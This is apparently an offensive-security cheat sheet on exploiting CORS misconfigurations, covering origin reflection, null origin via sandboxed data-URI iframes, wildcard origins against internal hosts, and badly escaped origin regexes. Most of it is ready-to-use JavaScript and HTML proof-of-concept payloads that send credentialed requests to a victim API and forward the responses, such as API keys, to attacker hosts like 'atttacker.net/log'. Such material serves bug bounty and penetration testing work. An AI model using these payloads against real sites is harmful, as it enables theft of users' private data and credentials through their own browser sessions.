CORS Misconfiguration

> A site-wide CORS misconfiguration was in place for an API domain. This allowed an attacker to make cross origin requests on behalf of the user as the application did not whitelist the Origin header and had Access-Control-Allow-Credentials: true meaning we could make requests from our attacker's site using the victim's credentials.

Summary

Tools

- Corsy - CORS Misconfiguration Scanner
- PostMessage POC Builder - @honoki

Prerequisites

- BURP HEADER> `Origin: https://evil.com`
- VICTIM HEADER> `Access-Control-Allow-Credential: true`
- VICTIM HEADER> `Access-Control-Allow-Origin: https://evil.com` OR `Access-Control-Allow-Origin: null`

Exploitation

Usually you want to target an API endpoint. Use the following payload to exploit a CORS misconfiguration on target `https://victim.example.com/endpoint`.

Vulnerable Example: Origin Reflection

Vulnerable Implementation

```
GET /endpoint HTTP/1.1
Host: victim.example.com
Origin: https://evil.com
Cookie: sessionid=...

HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://evil.com
Access-Control-Allow-Credentials: true

{"[private API key]"}
```

Proof of concept

This PoC requires that the respective JS script is hosted at `evil.com`

```
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://victim.example.com/endpoint',true);
req.withCredentials = true;
req.send();

function reqListener() {
    location='//atttacker.net/log?key='+this.responseText;
};
```

or

```
<html>
     <body>
         <h2>CORS PoC</h2>
         <div id="demo">
             <button type="button" onclick="cors()">Exploit</button>
         </div>
         <script>
             function cors() {
             var xhr = new XMLHttpRequest();
             xhr.onreadystatechange = function() {
                 if (this.readyState == 4 && this.status == 200) {
                 document.getElementById("demo").innerHTML =
alert(this.responseText);
                 }
             };
              xhr.open("GET",
                       "https://victim.example.com/endpoint", true);
             xhr.withCredentials = true;
             xhr.send();
             }
         </script>
     </body>
 </html>
```

Vulnerable Example: Null Origin

Vulnerable Implementation

It's possible that the server does not reflect the complete `Origin` header but that the `null` origin is allowed. This would look like this in the server's response:

```
GET /endpoint HTTP/1.1
Host: victim.example.com
Origin: null
Cookie: sessionid=...

HTTP/1.1 200 OK
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true

{"[private API key]"}
```

Proof of concept

This can be exploited by putting the attack code into an iframe using the data URI scheme. If the data URI scheme is used, the browser will use the `null` origin in the request:

```
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,
<script>
  var req = new XMLHttpRequest();
  req.onload = reqListener;
  req.open('get','https://victim.example.com/endpoint',true);
  req.withCredentials = true;
  req.send();

  function reqListener() {
    location='https://attacker.example.net/log?
key='+encodeURIComponent(this.responseText);
  };
</script>"></iframe>
```

Vulnerable Example: XSS on Trusted Origin

If the application does implement a strict whitelist of allowed origins, the exploit codes from above do not work. But if you have an XSS on a trusted origin, you can inject the exploit coded from above in order to exploit CORS again.

```
https://trusted-origin.example.com/?xss=<script>CORS-ATTACK-PAYLOAD</script>
```

Vulnerable Example: Wildcard Origin `*` without Credentials

If the server responds with a wildcard origin `*`, **the browser does never send the cookies**. However, if the server does not require authentication, it's still possible to access the data on the server. This can happen on internal servers that are not accessible from the Internet. The attacker's website can then pivot into the internal network and access the server's data without authentication.

```
* is the only wildcard origin
https://*.example.com is not valid
```

Vulnerable Implementation

```
GET /endpoint HTTP/1.1
Host: api.internal.example.com
Origin: https://evil.com

HTTP/1.1 200 OK
Access-Control-Allow-Origin: *

{"[private API key]"}
```

Proof of concept

```
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://api.internal.example.com/endpoint',true);
req.send();

function reqListener() {
    location='//atttacker.net/log?key='+this.responseText;
};
```

Vulnerable Example: Expanding the Origin / Regex Issues

Occasionally, certain expansions of the original origin are not filtered on the server side. This might be caused by using a badly implemented regular expressions to validate the origin header.

Vulnerable Implementation (Example 1)

In this scenario any prefix inserted in front of `example.com` will be accepted by the server.

```
GET /endpoint HTTP/1.1
Host: api.example.com
Origin: https://evilexample.com

HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://evilexample.com
Access-Control-Allow-Credentials: true

{"[private API key]"}
```

Proof of concept (Example 1)

This PoC requires the respective JS script to be hosted at `evilexample.com`

```
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://api.example.com/endpoint',true);
req.withCredentials = true;
req.send();

function reqListener() {
    location='//atttacker.net/log?key='+this.responseText;
};
```

Vulnerable Implementation (Example 2)

In this scenario the server utilizes a regex where the dot was not escaped correctly. For instance, something like this: `^api.example.com$` instead of `^api\.example.com$`. Thus, the dot can be replaced with any letter to gain access from a third-party domain.

```
GET /endpoint HTTP/1.1
Host: api.example.com
Origin: https://apiiexample.com

HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://apiiexample.com
Access-Control-Allow-Credentials: true

{"[private API key]"}
```

Proof of concept (Example 2)

This PoC requires the respective JS script to be hosted at `apiiexample.com`

```
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://api.example.com/endpoint',true);
req.withCredentials = true;
req.send();

function reqListener() {
    location='//atttacker.net/log?key='+this.responseText;
};
```

Bug Bounty reports

- CORS Misconfiguration on www.zomato.com - James Kettle (albinowax)
- CORS misconfig | Account Takeover - niche.co - Rohan (nahoragg)
- Cross-origin resource sharing misconfig | steal user information - bughunterboy (bughunterboy)
- CORS Misconfiguration leading to Private Information Disclosure - sandh0t (sandh0t)
- [[redacted]] Cross-origin resource sharing misconfiguration (CORS) - Vadim (jarvis7)

References

- Think Outside the Scope: Advanced CORS Exploitation Techniques - @Sandh0t - May 14 2019
- Exploiting CORS misconfigurations for Bitcoins and bounties - James Kettle | 14 October 2016
- Exploiting Misconfigured CORS (Cross Origin Resource Sharing) - Geekboy - DECEMBER 16, 2016
- Advanced CORS Exploitation Techniques - Corben Leo - June 16, 2018
- PortSwigger Web Security Academy: CORS
- CORS Misconfigurations Explained - Detectify Blog